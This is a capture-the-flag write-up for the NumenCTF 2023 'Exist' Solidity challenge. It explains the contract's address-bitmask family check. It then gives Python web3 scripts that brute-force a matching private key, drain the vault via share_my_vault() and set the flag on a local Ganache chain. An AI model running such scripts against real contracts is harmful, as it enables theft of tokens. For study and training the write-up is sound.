Exist¶
Introduction¶
The goal is to trigger setflag()
.
Here's the source code: https://github.com/numencyber/NumenCTF_2023/blob/main/exist/contracts/create2.sol
Environment¶
These are the IDEs and langauges used to set up the environment.
-
Remix IDE
-
VScode
-
Python3
-
Ganache-cli
Setup¶
Here's a quick setup
1) Download ganache-cli with yarn global add ganache
2) Run ganache-cli with ganache-cli
3) Go to remix IDE -> Deploy & Run transaction -> Environment -> Choose 'Dev - Ganache Provider'
4) Create a solidity file -> copy and paste the smart contract
5) Compile and deploy
6) Start messing around
Code Breakdown¶
is_my_family(address account)
This is the key function that we should be looking at.
function is_my_family(address account) internal returns (bool) {
bytes20 you = bytes20(account);
bytes20 code = maskcode;
bytes20 feature = appearance;
for (uint256 i = 0; i < 34; i++) {
if (you & code == feature) {
return true;
}
code <<= 4;
feature <<= 4;
}
return false;
}
Firstly we have to look at you
, code
and feature
.
These variables are used to bitwise
if (you & code == feature)
Both code
and feature
from appearance
and maskcode
bytes20 internal appearance = bytes20(bytes32("ZT"))>>144;
bytes20 internal maskcode = bytes20(uint160(0xffff));
Here's the derived formulae:
feature
= appearance
= 0x0000000000000000000000000000000000005a54
code
= maskcode
= 0x000000000000000000000000000000000000ffff
you
& '0x000000000000000000000000000000000000ffff' == '0x0000000000000000000000000000000000005a54'
share_my_vault()
We want to access their EG tokens by calling this function. However, you can only call this function if you are part of the family
setflag()
Set the flag to true
Hints¶
Here is the breakdown:
1) We need to create an address in you
to complete this equation.
``you`` & '0x000000000000000000000000000000000000ffff' == '0x0000000000000000000000000000000000005a54'
To do that, we'll need to create a script to brute force ``you``.
2) Once we have that address, we'll call share_my_vault()
and setflag()
Solutions¶
The solution will be broken down into 2 parts - bruteforcing and execution.
Bruteforcing¶
We'll a section of the smart contract code and create a script to complete the equation. Using the script below, we will find the private key (in hexadecimal) to be used in the execution phase.
from web3 import Web3
from Crypto.Util.number import *
w3 = Web3(Web3.HTTPProvider("http://127.0.0.1/8545"))
def check(addr):
addr = int(addr, 16)
code = 0xffff
feature = bytes_to_long(b"ZT")
for i in range(34):
# Return true if equation is complete
if addr & code == feature :
return True
# Shift left bit by 4 positions
code <<= 4
feature <<= 4
#Return false if equation not complete
return False
for i in range(0xffff):
#Generates a hexadecimal string representing the integer i, padded with zeros to a length of 66 characters
pk = hex(i).ljust(66, "0") #E.g 0x1000000000000000000000000000000000000000000000000000000000000000
#Create an address with that private key
addr=w3.eth.account.from_key(pk).address
#Check if equation is complete
if check(addr):
print(f'Result: {i}') #Result: 289
break
Execution¶
Using hexadecimal (289), we can begin our execution. This is the script used to execute the attack.
import json
from web3 import Web3
w3 = Web3(Web3.HTTPProvider("http://127.0.0.1:8545"))
#Check Connection
if w3.is_connected():
print('Connected to Ethereum network')
else:
print('Not connected to Ethereum network')
# Get private key
prikey = hex(289).ljust(66, "0")
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
print(Public_Address) # 0x601365F0Da65A54333FBA2bc93924aADaA338539
myAddr = Public_Address
cont = "0xF6dB74c7e4074658dd5A7A7cc3060f21752E9794" #Deployed contract's address
def send_ether(_from, _to, _prikey, amount):
signed_txn = w3.eth.account.sign_transaction (dict(
nonce=w3.eth.get_transaction_count(_from),
gasPrice = w3.eth.gas_price,
gas = 21000,
to=_to,
value = amount,
chainId = w3.eth.chain_id,
),
_prikey
)
result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def share_my_vault():
f = open('cont.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions.share_my_vault().build_transaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def setflag():
f = open('cont.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
func_call = contract.functions.setflag().build_transaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def isSolved():
f = open('cont.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=cont, abi=abi)
result = contract.functions.isSolved().call()
print(result)
#Send ether to your newly created address
#Parameters inputed (_from, _to, _from_privatekey, amount)
send_ether("0x000aC03fa5C30668646f153F8048008C505BF971", myAddr, '0xa0c36f2b02f7a49af4abb4f5054c0f9626678500054da8e22cbca044e72ec864', w3.to_wei("1", "ether"))
#Share EG tokens with the newly created address
share_my_vault()
#Set flag
setflag()
#Check if flag is set to true
isSolved() #True
Reference¶
Scripts were from gss1 write-up. I've only research, analyse and study the breakdown.